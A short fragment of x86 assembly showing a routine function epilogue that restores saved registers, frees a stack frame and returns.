mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x808
ret